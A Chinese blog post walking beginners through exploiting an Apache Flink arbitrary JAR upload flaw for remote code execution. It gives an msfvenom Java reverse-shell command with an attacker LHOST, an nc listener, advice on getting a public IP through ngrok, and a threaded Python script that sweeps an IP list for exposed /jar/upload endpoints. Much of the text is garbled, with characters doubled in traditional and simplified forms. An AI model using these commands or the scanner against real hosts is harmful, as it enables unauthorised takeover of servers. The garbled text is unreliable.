本文作者 : 重生信安 - 清水Samny
?前言
記一次Apache Flink任意Jar包上傳導(dǎo)致遠(yuǎn)程代碼執(zhí)行復(fù)現(xiàn)漏洞過程。
作者一直致力于小白都能看懂的漏洞復(fù)現(xiàn)過程,感謝大家們一路以來的支持!
致謝Cx01、丞相等表哥們。沒有你們的幫助,沒有這篇文章!
0x01 漏洞描述
近日,有安全研究員公開了一個(gè)Apache Flink的任意Jar包上傳導(dǎo)致遠(yuǎn)程代碼執(zhí)行的漏洞.
影響范圍:<= 1.9.1(最新版本)
可能是我測的比較少,成功的概率1.9版本比較高。
0x02 漏洞威脅等級
高危
可導(dǎo)致遠(yuǎn)程代碼執(zhí)行
0x03 漏洞復(fù)現(xiàn)
第一步生成payload
msfvenom -p java/shell_reverse_tcp LHOST=x.x.x.x LPORT=x -f jar >fuck.jar
名字可以任意取
第二步生成監(jiān)聽端口,這里我選擇nc監(jiān)聽端口。
nc -lvp port
第三步上傳payload
最后直接返回shell
接著執(zhí)行命令
0x04 復(fù)現(xiàn)那些坑
一定要生成公網(wǎng)ip的payload!!!
一定要生成公網(wǎng)ip的payload!!!
一定要生成公網(wǎng)ip的payload!!!
沒有錢的小哥哥,小姐姐們可以選擇一個(gè)Sunny-ngrok 工具進(jìn)行端口轉(zhuǎn)發(fā)。
官方Sunny-ngrok教程
客戶端工具下載地址
0x05 批量檢測腳本
GitHub地址
腳本源碼
"""auth: @l3_W0ngversion: 1.0function: Apache Web Dashboard RCEusage: python3 script.py ip [port [command]] default port=8081"""import osimport subprocessimport requestsfrom multiprocessing.dummy import Pool as ThreadPooldef get_iplist(): iplist = [] with open("iplist.txt", 'r') as file: data = file.readlines() for item in data: ip = item.strip() iplist.append(ip) return iplistdef check_8081(ip): url = 'http://' + ip + ':8081/jar/upload' try: res = requests.get(url=url, timeout=2) data = { 'msg': res.json(), 'state': 1, 'url': url, 'ip': ip } except: data = { 'msg': 'Secure', 'state': 0, 'ip': ip } if data['state'] == 1: print(data)if __name__ == '__main__': iplist = get_iplist() pool = ThreadPool(20) pool.map(check_8081, iplist)
圖片來源
Ps:
當(dāng)注釋掉 if ‘Unable to load requested file’ in str(data):
之后,出現(xiàn)Token為空,或者 Unauthorized request 時(shí)候是不存在未授權(quán)訪問的,而是帶授權(quán)
部分exp代碼
圖片來源
0x06 參考文獻(xiàn)
https://www.t00ls.net/thread-53784-1-1.html
https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag
https://flink.apache.org/downloads.html
0x07 免責(zé)聲明
0x05批量腳本是來自于https://www.t00ls.net/thread-53784-1-1.html,如果有侵犯權(quán)益,留言刪除。大佬見諒!
本文中提到的漏洞利用Poc和腳本僅供研究學(xué)習(xí)使用,請遵守《網(wǎng)絡(luò)安全法》等相關(guān)法律法規(guī)。